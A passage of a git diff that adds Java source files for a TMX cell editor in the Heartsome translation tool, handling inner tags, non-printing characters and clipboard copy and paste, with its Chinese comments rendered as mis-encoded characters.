event.style; + if (styleRange != null) { + String text = ((StyledText) event.widget).getText(); + int end = styleRange.start + styleRange.length; + if (text.length() < end) { + return; + } + String styledString = text.substring(styleRange.start, end); + Matcher matcher = PATTERN.matcher(styledString); + if (matcher.matches()) { + InnerTag tag = TmxInnerTagUtils.getInnerTagControl(innerTagCacheList, styledString); + if (tag != null) { + if (!tag.isVisible()) { + tag.setVisible(true); + } + int lineHeight = getTextWidget().getLineHeight(); + int y = event.y + lineHeight / 2 - tag.getBounds().height / 2; + tag.setLocation(event.x + TmxEditorConstanst.SEGMENT_LINE_SPACING, y); + } + } + } + } + }); + + styledText.addVerifyListener(new VerifyListener() { + + public void verifyText(final VerifyEvent e) { + if ((e.start == e.end)|| (e.start != e.end && !e.text.equals(""))) { // 添加内容时,忽略 + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + String t = e.text; + t = t.replace("\t", TmxEditorConstanst.TAB_CHARACTER + "\u200B").replace(" ", + TmxEditorConstanst.SPACE_CHARACTER + "\u200B"); + t = t.replace(System.getProperty("line.separator"), "\n"); + StringBuffer bf = new StringBuffer(t); + int i = bf.indexOf("\n"); + if (i != -1) { + if (i == 0) { + bf.insert(i, TmxEditorConstanst.LINE_SEPARATOR_CHARACTER); + } else if (i != 0 && bf.charAt(i - 1) != TmxEditorConstanst.LINE_SEPARATOR_CHARACTER) { + bf.insert(i, TmxEditorConstanst.LINE_SEPARATOR_CHARACTER); + } + i = bf.indexOf("\n", i + 1); + } + e.text = bf.toString(); + } + return; + } + final StyledText styledText = (StyledText) e.widget; + final String text = styledText.getText(e.start, e.end - 1); + final Matcher matcher = PATTERN.matcher(text); + if (matcher.find()) { // 被删除的部分中存在标记的的情况,进行特殊处ç†ã€‚ + matcher.reset(); + styledText.getDisplay().syncExec(new Runnable() { + public void run() { + deleteInnerTagInPairs(e, matcher); + } + }); + } + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + if (text.length() == 1 && (text.equals("\n") || text.indexOf('\u200B') != -1)) { + char c = styledText.getText().charAt(e.start - 1); + if (c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER || c == TmxEditorConstanst.SPACE_CHARACTER + || c == TmxEditorConstanst.TAB_CHARACTER) { + styledText.replaceTextRange(e.start - 1, 2, ""); + e.doit = false; + } + } else if (text.length() == 1 + && (text.indexOf(TmxEditorConstanst.LINE_SEPARATOR_CHARACTER) != -1 + || text.indexOf(TmxEditorConstanst.TAB_CHARACTER) != -1 || text + .indexOf(TmxEditorConstanst.TAB_CHARACTER) != -1)) { + char c = styledText.getText().charAt(e.start + 1); + if (c == '\n' || c == '\u200B') { + styledText.replaceTextRange(e.start, 2, ""); + e.doit = false; + } + } + } + } + + /** + * æˆå¯¹åˆ é™¤å†…部标记 + */ + private void deleteInnerTagInPairs(final VerifyEvent e, Matcher matcher) { + StyledText styledText = (StyledText) e.widget; + ArrayList tagIndexes = new ArrayList(); // 记录被删除的标记的索引。 + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag innerTag = TmxInnerTagUtils.getInnerTagControl(innerTagCacheList, placeHolder); + if (innerTag != null && innerTag.isVisible()) { + innerTag.setVisible(false); + + // ä¿å­˜æˆå¯¹æ ‡è®°ä¸­æœªå®Œå…¨åˆ é™¤çš„标记索引 + TagType tagType = innerTag.getInnerTagBean().getType(); + if (tagType == TagType.START || tagType == TagType.END) { // 处ç†æˆå¯¹æ ‡è®°çš„æˆå¯¹åˆ é™¤ + Integer tagIndex = Integer.valueOf(innerTag.getInnerTagBean().getIndex()); // 标记索引 + if (tagIndexes.contains(tagIndex)) { // 如果已ç»åŒ…å«æ­¤ç´¢å¼•ï¼Œè¯´æ˜Žæˆå¯¹æ ‡è®°çš„2个部分都已ç»åˆ é™¤ã€‚ + tagIndexes.remove(tagIndex); + } else { // 如果未包å«æ­¤ç´¢å¼•ï¼Œåˆ™è¯´æ˜Žåªåˆ é™¤äº†ä¸€ä¸ªéƒ¨åˆ†ï¼ˆå¼€å§‹æˆ–结æŸï¼‰çš„标记。 + tagIndexes.add(tagIndex); + } + } + } + } + + if (!tagIndexes.isEmpty()) { // 存在未删除的情况。 + getUndoManager().beginCompoundChange(); + + e.doit = false; // 上一步已ç»ä¿®æ”¹ï¼Œå–消修改æ“作。 + styledText.getContent().replaceTextRange(e.start, e.end - e.start, e.text); // 替æ¢æ”¹åŠ¨å†…容 + + for (int i = 0; i < innerTagCacheList.size(); i++) { // 删除æˆå¯¹æ ‡è®°ä¸­æœªè¢«åˆ é™¤çš„部分。 + InnerTag innerTag = innerTagCacheList.get(i); + if (innerTag != null && innerTag.isVisible()) { + if (tagIndexes.contains(innerTag.getInnerTagBean().getIndex())) { + innerTag.setVisible(false); + String placeHolder = TmxInnerTagParser.getInstance().getPlaceHolderBuilder() + .getPlaceHolder(null, i); + int start = -1; + if ((start = styledText.getText().indexOf(placeHolder)) != -1) { + styledText.getContent().replaceTextRange(start, placeHolder.length(), ""); + } + + tagIndexes.remove(Integer.valueOf(innerTag.getInnerTagBean().getIndex())); + if (tagIndexes.isEmpty()) { + break; + } + } + } + } + getUndoManager().endCompoundChange(); + + /** + * 通知更新主èœå•ï¼ˆactionBar)中“撤销é‡åšâ€ç­‰èœå•é¡¹çš„状æ€ï¼Œå‚è§ + * net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler + */ + styledText.notifyListeners(SWT.Selection, null); + } + } + }); + styledText.addListener(SWT.Selection, new Listener() { + + public void handleEvent(Event event) { + for (InnerTag tag : innerTagCacheList) { + if (tag.isSelected()) { + tag.setSelected(false); + tag.redraw(); + } + } + String styledString = getTextWidget().getSelectionText(); + Matcher matcher = PATTERN.matcher(styledString); + while (matcher.find()) { + String s = matcher.group(); + InnerTag tag = TmxInnerTagUtils.getInnerTagControl(innerTagCacheList, s); + if (tag != null) { + tag.setSelected(true); + tag.redraw(); + } + } + } + }); + + /** + * 处ç†åœ¨æ˜¾ç¤ºéžæ‰“å°éšè—字符的情况光标移动问题。兼容éžæ‰“å°å­—符替æ¢ç¬¦å· + */ + styledText.addKeyListener(new KeyListener() { + + public void keyReleased(KeyEvent e) { + if (!TmxEditorImpWithNattable.showNonPrinttingChar) { + return; + } + if (e.stateMask == SWT.NONE && (e.keyCode == SWT.ARROW_UP || e.keyCode == SWT.ARROW_DOWN)) { + StyledText styledText = (StyledText) e.widget; + int offset = styledText.getCaretOffset(); + if (offset < 1 || offset >= styledText.getCharCount()) { + return; + } + char c = styledText.getText().charAt(offset); + char _c = styledText.getText().charAt(offset - 1); + if (c == '\n' && (_c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER)) { + styledText.setCaretOffset(offset - 1); + } + } + } + + public void keyPressed(KeyEvent e) { + if (!TmxEditorImpWithNattable.showNonPrinttingChar) { + return; + } + if (e.stateMask == SWT.NONE && (e.keyCode == SWT.ARROW_LEFT || e.keyCode == SWT.ARROW_RIGHT)) { + StyledText styledText = (StyledText) e.widget; + int offset = styledText.getCaretOffset(); + if (offset < 1 || offset >= styledText.getCharCount()) { + return; + } + char c = styledText.getText().charAt(offset); + char _c = styledText.getText().charAt(offset - 1); + if ((c == '\u200B' && (_c == TmxEditorConstanst.TAB_CHARACTER || _c == TmxEditorConstanst.SPACE_CHARACTER)) + || (c == '\n' && (_c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER))) { + if (e.keyCode == SWT.ARROW_LEFT) { + styledText.setCaretOffset(offset - 1); + } else if (e.keyCode == SWT.ARROW_RIGHT) { + styledText.setCaretOffset(offset + 1); + } + } + } else if (e.stateMask == SWT.CTRL && (e.keyCode == SWT.ARROW_LEFT || e.keyCode == SWT.ARROW_RIGHT)) { + // å•ç‹¬å¯¹ ctrl + right ,ctrl + left æ¢è¡Œçš„å¤„ç† + StyledText styledText = (StyledText) e.widget; + int offset = styledText.getCaretOffset(); + char c = styledText.getText().charAt(offset); + if (offset < 1 || offset >= styledText.getCharCount()) { + return; + } + char _c = styledText.getText().charAt(offset - 1); + if (c == '\n' && (_c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER)) { + if (e.keyCode == SWT.ARROW_LEFT) { + styledText.setCaretOffset(offset - 1); + } else if (e.keyCode == SWT.ARROW_RIGHT) { + styledText.setCaretOffset(offset + 1); + } + } + } else if ((e.stateMask == SWT.SHIFT || e.stateMask == (SWT.SHIFT | SWT.CTRL)) + && (e.keyCode == SWT.ARROW_LEFT || e.keyCode == SWT.ARROW_RIGHT)) { + StyledText styledText = (StyledText) e.widget; + int offset = styledText.getCaretOffset(); + char c = styledText.getText().charAt(offset); + if (offset < 1 || offset >= styledText.getCharCount()) { + return; + } + char _c = styledText.getText().charAt(offset - 1); + if ((c == '\u200B' && (_c == TmxEditorConstanst.TAB_CHARACTER || _c == TmxEditorConstanst.SPACE_CHARACTER)) + || (c == '\n' && (_c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER))) { + if (e.keyCode == SWT.ARROW_LEFT) { + styledText.invokeAction(ST.SELECT_COLUMN_PREVIOUS); + } else if (e.keyCode == SWT.ARROW_RIGHT) { + styledText.invokeAction(ST.SELECT_COLUMN_NEXT); + } + } + } else if ((e.stateMask == SWT.SHIFT) && (e.keyCode == SWT.ARROW_UP || e.keyCode == SWT.ARROW_DOWN)) { + StyledText styledText = (StyledText) e.widget; + int offset = styledText.getCaretOffset(); + char c = styledText.getText().charAt(offset); + if (offset < 1 || offset >= styledText.getCharCount()) { + return; + } + char _c = styledText.getText().charAt(offset - 1); + if (c == '\n' && (_c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER)) { + if (e.keyCode == SWT.ARROW_UP) { + styledText.invokeAction(ST.SELECT_COLUMN_PREVIOUS); + } else if (e.keyCode == SWT.ARROW_DOWN) { + styledText.invokeAction(ST.SELECT_COLUMN_NEXT); + } + } + } + } + }); + + // 处ç†ä¿®æ”¹å†…容时,需è¦éžæ‰“å°å­—符添加样å¼ã€‚ + styledText.addListener(SWT.Modify, new Listener() { + + public void handleEvent(Event event) { + if (!TmxEditorImpWithNattable.showNonPrinttingChar) { + return; + } + String s = event.text; + Matcher matcher = TmxEditorConstanst.NONPRINTING_PATTERN.matcher(s); + TextStyle style = new TextStyle(null, GUIHelper.getColor(new RGB(100, 100, 100)), null); + List ranges = new ArrayList(); + while (matcher.find()) { + int start = event.start + matcher.start(); + StyleRange range = new StyleRange(style); + range.start = start; + range.length = 1; + ranges.add(range); + } + for (StyleRange range : ranges) { + getTextWidget().setStyleRange(range); + } + } + }); + + /** + * 处ç†åœ¨æ˜¾ç¤ºéžæ‰“å°éšè—字符的情况光标移动问题。兼容éžæ‰“å°å­—符替æ¢ç¬¦å· + */ + styledText.addMouseListener(new MouseListener() { + + public void mouseUp(MouseEvent e) { + } + + public void mouseDown(MouseEvent e) { + if (!TmxEditorImpWithNattable.showNonPrinttingChar) { + return; + } + StyledText styledText = (StyledText) e.widget; + int offset = styledText.getCaretOffset(); + if (offset < 1 || offset >= styledText.getCharCount()) { + return; + } + char c = styledText.getText().charAt(offset); // hidden character + char _c = styledText.getText().charAt(offset - 1); // display character + if ((_c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER || _c == TmxEditorConstanst.TAB_CHARACTER || _c == TmxEditorConstanst.SPACE_CHARACTER) + && (c == '\n' || c == '\u200B')) { + styledText.setCaretOffset(offset + 1); + } + } + + public void mouseDoubleClick(MouseEvent e) { + } + }); + + /** + * 选择内容时对éžæ‰“å°å­—ç¬¦çš„å¤„ç† + */ + styledText.addMouseMoveListener(new MouseMoveListener() { + + public void mouseMove(MouseEvent e) { + if (!TmxEditorImpWithNattable.showNonPrinttingChar) { + return; + } + StyledText styledText = (StyledText) e.widget; + int offset = styledText.getCaretOffset(); + if (offset < 1 || offset >= styledText.getCharCount()) { + return; + } + char c = styledText.getText().charAt(offset); + char _c = styledText.getText().charAt(offset - 1); + if ((c == '\u200B' && (_c == TmxEditorConstanst.TAB_CHARACTER || _c == TmxEditorConstanst.SPACE_CHARACTER)) + || (c == '\n' && (_c == TmxEditorConstanst.LINE_SEPARATOR_CHARACTER))) { + int caretOffset = styledText.getCaretOffset(); + Point p = styledText.getSelection(); + if (caretOffset == p.x) { + styledText.invokeAction(ST.SELECT_COLUMN_PREVIOUS); + } else if (caretOffset == p.y) { + styledText.invokeAction(ST.SELECT_COLUMN_NEXT); + } + } + } + }); + } + + /** 将所有转义字符全部转æ¢æˆåŽŸå§‹çŠ¶æ€ï¼Œåªé€‚用于文本内容的显示 */ + private String cleanRegularString(String input) { + input = input.replaceAll("&", "&"); + input = input.replaceAll("<", "<"); + input = input.replaceAll(">", ">"); + // input = input.replaceAll("\"", """); + input = input.replaceAll(System.getProperty("line.separator"), "\n"); + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + input = input.replaceAll(TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "", ""); + input = input.replaceAll(TmxEditorConstanst.TAB_CHARACTER + "\u200B", "\t"); + input = input.replaceAll(TmxEditorConstanst.SPACE_CHARACTER + "\u200B", " "); + } + return input; + } + + /** 将所有转义字符全部转æ¢æˆåŽŸå§‹çŠ¶æ€ï¼Œåªé€‚用于文本内容的显示 */ + private String resetRegularString(String input) { + input = input.replaceAll("<", "<"); + input = input.replaceAll(">", ">"); + input = input.replaceAll(""", "\""); + input = input.replaceAll("&", "&"); + input = input.replaceAll(System.getProperty("line.separator"), "\n"); + if (TmxEditorImpWithNattable.showNonPrinttingChar) { + input = input.replaceAll("\\n", TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "\n"); + input = input.replaceAll("\\t", TmxEditorConstanst.TAB_CHARACTER + "\u200B"); + input = input.replaceAll(" ", TmxEditorConstanst.SPACE_CHARACTER + "\u200B"); + } + return input; + } + + private void initUndoManager(int undoLevel) { + // remembers edit commands + final TextViewerUndoManager undoManager = new TextViewerUndoManager(undoLevel); + // add listeners + undoManager.connect(this); + this.setUndoManager(undoManager); + } + + /** + * é‡è½½æ­¤æ–¹æ³•ï¼Œå®žçŽ°ç²˜è´´ã€å¤åˆ¶å‰å¯¹æ ‡è®°çš„处ç†ã€‚
    + * å·²ç»ç§»å‡ºäº† 默认的å¤åˆ¶ã€ç²˜è´´äº‹ä»¶é”®ç»‘定, å‚考{@link CellEditorTextViewer#initListener()} + * @see org.eclipse.jface.text.TextViewer#doOperation(int) + */ + @Override + public void doOperation(int operation) { + if (operation == ITextOperationTarget.PASTE) { + parse(); + return; + } + if (operation == ITextOperationTarget.COPY) { + copy(); + return; + } + super.doOperation(operation); + } + + /** + * 执行å¤åˆ¶æ—¶å¯¹æ ‡è®°çš„处ç†ï¼Œå¤åˆ¶åŽåœ¨OS系统中ä¸èƒ½åŒ…å«æ ‡è®°å ä½ç¬¦ ; + */ + private void copy() { + super.doOperation(ITextOperationTarget.COPY); + TextTransfer plainTextTransfer = TextTransfer.getInstance(); + HSTextTransfer hsTextTransfer = HSTextTransfer.getInstance(); + Clipboard clipboard = new Clipboard(getTextWidget().getDisplay()); + String plainText = (String) clipboard.getContents(plainTextTransfer); + if (plainText == null || plainText.length() == 0) { + return; + } + plainText = plainText.replaceAll(System.getProperty("line.separator"), "\n"); + plainText = plainText.replaceAll(TmxEditorConstanst.LINE_SEPARATOR_CHARACTER + "", ""); + plainText = plainText.replaceAll(TmxEditorConstanst.TAB_CHARACTER + "", "\t"); + plainText = plainText.replaceAll(TmxEditorConstanst.SPACE_CHARACTER + "", " "); + plainText = plainText.replaceAll("\u200B", ""); + clipboard.clearContents(); + Object[] data = new Object[] { PATTERN.matcher(plainText).replaceAll(""), plainText }; + Transfer[] types = new Transfer[] { plainTextTransfer, hsTextTransfer }; + + clipboard.setContents(data, types); + clipboard.dispose(); + } + + /** + * 执行粘贴å‰å¯¹æ ‡è®°çš„å¤„ç† ; + */ + private void parse() { + Clipboard clipboard = null; + try { + if (getTextWidget().isDisposed()) { + return; + } + clipboard = new Clipboard(getTextWidget().getDisplay()); + HSTextTransfer hsTextTransfer = HSTextTransfer.getInstance(); + String hsText = (String) clipboard.getContents(hsTextTransfer); + String osText = (String) clipboard.getContents(TextTransfer.getInstance()); + if (hsText == null || hsText.length() == 0) { + if (osText == null || osText.length() == 0) { + return; + } + super.doOperation(ITextOperationTarget.PASTE); + return; + } + String clearedTagText = hsText; + String selText = getTextWidget().getSelectionText(); + if (selText.equals(hsText)) { + return; + } + if (getTextWidget().getSelectionCount() != getTextWidget().getText().length()) { + clearedTagText = CellEditorViewerUtils.filterInnerTag(this, hsText); // 过滤掉系统剪切æ¿ä¸­çš„标记。 + } else { + StringBuffer bf = new StringBuffer(hsText); + Matcher matcher = PATTERN.matcher(hsText); + List needRemove = new ArrayList(); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag tag = TmxInnerTagUtils.getInnerTagControl(innerTagCacheList, placeHolder); + if (tag == null) { + needRemove.add(placeHolder); + } + } + clearedTagText = bf.toString(); + for (String r : needRemove) { + clearedTagText = clearedTagText.replaceAll(r, ""); + } + } + + if (clearedTagText == null || clearedTagText.length() == 0) { + return; + } + + if (clearedTagText.equals(osText)) { + super.doOperation(ITextOperationTarget.PASTE); + return; + } + + Object[] data = new Object[] { clearedTagText, hsText }; + Transfer[] types = new Transfer[] { TextTransfer.getInstance(), hsTextTransfer }; + try { + clipboard.setContents(data, types); + } catch (Exception e) { + e.printStackTrace(); + } + + super.doOperation(ITextOperationTarget.PASTE); + + data = new Object[] { osText, hsText }; + try { + clipboard.setContents(data, types); + } catch (Exception e) { + e.printStackTrace(); + } + } finally { + if (clipboard != null && !clipboard.isDisposed()) { + clipboard.dispose(); + } + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorViewerUtils.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorViewerUtils.java new file mode 100644 index 0000000..1e14834 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/CellEditorViewerUtils.java @@ -0,0 +1,135 @@ +/** + * CellEditorViewerUtils.java + * + * Version information : + * + * Date:2013-6-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import static net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder.PATTERN; + +import java.util.ArrayList; +import java.util.List; +import java.util.Stack; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.ui.innertag.InnerTag; + +/** + * {@link CellEditorTextViewer} 通用工具方法å°è£… + * @author Jason + * @version + * @since JDK1.6 + */ +public final class CellEditorViewerUtils { + + /** + * 转æ¢æ˜¾ç¤ºæ–‡æœ¬ä¸ºåŽŸå§‹æ–‡æœ¬ã€‚ + * @param displayText + * 显示文本 + * @return XML 中的原始文本; + */ + public static String convertDisplayTextToOriginalText(String displayText, List tagBeans) { + if (displayText == null || displayText.length() == 0) { + return ""; + } + Matcher matcher = PATTERN.matcher(displayText); + int offset = 0; + StringBuffer sb = new StringBuffer(displayText); + while (matcher.find()) { + String placeHolder = matcher.group(); + int index = TmxInnerTagParser.getInstance().getPlaceHolderBuilder().getIndex(null, placeHolder); + if (index != -1) { + InnerTagBean bean = tagBeans.get(index); + if (bean != null) { + String tagContent = bean.getContent(); + int start = matcher.start() + offset; + int end = matcher.end() + offset; + sb.replace(start, end, tagContent); + offset += tagContent.length() - 1; + } + } + } + return sb.toString(); + }; + + /** + * 此方用于粘贴时处ç†ç²˜è´´æ¿ä¸­çš„标记 æ ¹æ®å½“å‰ {@link CellEditorTextViewer} 中的标记,过滤 contents 中的标记。 + */ + public static String filterInnerTag(CellEditorTextViewer viewer, String contents) { + if (contents == null) { + return contents; + } + List cacheTags = viewer.innerTagCacheList; + String fullText = viewer.getTextWidget().getText(); + + Matcher matcher = PATTERN.matcher(contents); + Stack stack = new Stack(); + Stack phStack = new Stack(); + List needRemove = new ArrayList(); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag tag = TmxInnerTagUtils.getInnerTagControl(cacheTags, placeHolder); + if (tag == null) { + needRemove.add(placeHolder); + continue; + } + if (tag.getInnerTagBean().getType() == TagType.START) { + stack.push(tag); + phStack.push(placeHolder); + continue; + } else if (tag.getInnerTagBean().getType() == TagType.END) { + if (stack.isEmpty()) { + // åªæœ‰ç»“æŸ æ²¡æœ‰å¼€å§‹ + needRemove.add(placeHolder); + continue; + } + InnerTag _tag = stack.pop(); + String _placeHolder = phStack.pop(); + if (tag.getInnerTagBean().getIndex() != _tag.getInnerTagBean().getIndex()) { + needRemove.add(placeHolder); + needRemove.add(_placeHolder); + continue; + } + int start = -1; + if ((start = fullText.indexOf(_placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, _placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + if ((start = fullText.indexOf(placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + } else { + int start = -1; + if ((start = fullText.indexOf(placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + } + } + + while (!stack.isEmpty()) { + needRemove.add(TmxInnerTagUtils.getPlaceHolder(viewer.innerTagCacheList, stack.pop().getInnerTagBean())); + } + for (String r : needRemove) { + contents = contents.replaceAll(r, ""); + } + return contents; + } + + /** + * Private Constructor to prevent instanced + */ + private CellEditorViewerUtils() { + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/HSTextTransfer.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/HSTextTransfer.java new file mode 100644 index 0000000..f27114a --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/HSTextTransfer.java @@ -0,0 +1,74 @@ +/** + * HSTextTransfer.java + * + * Version information : + * + * Date:2013-6-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import org.eclipse.swt.dnd.ByteArrayTransfer; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.TransferData; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class HSTextTransfer extends ByteArrayTransfer { + static final String MIME_TYPE = "custom/HSTextTransfer"; + final int MIME_TYPE_ID = registerType(MIME_TYPE); + + private static HSTextTransfer _instance = new HSTextTransfer(); + private HSTextTransfer() {} + + /** + * Returns the singleton instance of the TextTransfer class. + * + * @return the singleton instance of the TextTransfer class + */ + public static HSTextTransfer getInstance () { + return _instance; + } + + protected int[] getTypeIds() { + return new int[] { MIME_TYPE_ID }; + } + + protected String[] getTypeNames() { + return new String[] { MIME_TYPE }; + } + + public void javaToNative(Object object, TransferData transferData) { + if (!checkMyType(object) || !isSupportedType(transferData)) { + DND.error(DND.ERROR_INVALID_DATA); + } + String string = (String)object; + byte[] bytes = string.getBytes(); + if (bytes != null) { + super.javaToNative(bytes, transferData); + } + } + + public Object nativeToJava(TransferData transferData) { + if (!isSupportedType(transferData)) + return null; + byte[] bytes = (byte[]) super.nativeToJava(transferData); + return bytes == null ? null : new String(bytes); + } + + boolean checkMyType(Object object) { + return (object != null && object instanceof String && ((String)object).length() > 0); + } + + protected boolean validate(Object object) { + return checkMyType(object); + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/InnerTagRule.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/InnerTagRule.java new file mode 100644 index 0000000..e0acade --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/InnerTagRule.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import java.util.Set; + +import org.eclipse.jface.text.rules.ICharacterScanner; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.IWordDetector; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.jface.text.rules.WordRule; + +public class InnerTagRule extends WordRule { + + public InnerTagRule(IWordDetector detector) { + super(detector); + } + + /** Buffer used for pattern detection. */ + private StringBuffer fBuffer = new StringBuffer(); + + @SuppressWarnings("unchecked") + @Override + public IToken evaluate(ICharacterScanner scanner) { + int c = scanner.read(); + if (c != ICharacterScanner.EOF && fDetector.isWordStart((char) c)) { + if (fColumn == UNDEFINED || (fColumn == scanner.getColumn() - 1)) { + fBuffer.setLength(0); + do { + fBuffer.append((char) c); + c = scanner.read(); + } while (fDetector.isWordPart((char) c) && c != ICharacterScanner.EOF); + scanner.unread(); + + String buffer = fBuffer.toString(); + IToken token = null; + Set set = fWords.keySet(); + for (String re : set) { + if (re != null && buffer.matches(re)) { + token = (IToken) fWords.get(re); + break; + } + } + + if (token != null) { // 匹é…å¹¶å¾—åˆ°æ ·å¼ + return token; + } + if (fDefaultToken.isUndefined()) { + unreadBuffer(scanner); + } + return fDefaultToken; + } + } else { + } + + scanner.unread(); + return Token.UNDEFINED; + } + + @Override + protected void unreadBuffer(ICharacterScanner scanner) { + for (int i = fBuffer.length() - 1; i >= 0; i--) + scanner.unread(); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/InnerTagScanner.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/InnerTagScanner.java new file mode 100644 index 0000000..8b2e1f2 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/InnerTagScanner.java @@ -0,0 +1,69 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor; + +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; + +import org.eclipse.jface.text.rules.IRule; +import org.eclipse.jface.text.rules.IWordDetector; +import org.eclipse.jface.text.rules.RuleBasedScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.TextStyle; + +public class InnerTagScanner extends RuleBasedScanner { + + private Token tagContentToken; + + public InnerTagScanner() { + initialize(); + } + + private void initialize() { + updateToken(); + + IRule[] rules = new IRule[1]; + rules[0] = createInnerTagRule(); // 创建内部标记规则 + + setRules(rules); + } + + protected void updateToken() { + if (tagContentToken == null) { + tagContentToken = new Token(null); + } + tagContentToken.setData(createTextStyle()); + } + + private TextStyle createTextStyle() { + TextStyle style = new TextStyle(); + style.metrics = new GlyphMetrics(0, 0, 0); + return style; + } + + /** + * 创建标记正文规则 + * @return ; + */ + private IRule createInnerTagRule() { + InnerTagRule wordRule = new InnerTagRule(new InnerTagDetector()); + wordRule.addWord("[" + PlaceHolderEditModeBuilder.MIN + "-" + PlaceHolderEditModeBuilder.MAX + "]", tagContentToken); + + return wordRule; + } + + /** + * 内部标记标记内容部分的探测器 + * @author weachy + * @version + * @since JDK1.6 + */ + class InnerTagDetector implements IWordDetector { + + public boolean isWordStart(char c) { + return c >= PlaceHolderEditModeBuilder.MIN && c <= PlaceHolderEditModeBuilder.MAX; + } + + public boolean isWordPart(char c) { + return false; + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/PresentationRepairer.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/celleditor/PresentationRepairer.java new file mode 100644 index 0000000..8169d99 --- /dev/null +++ 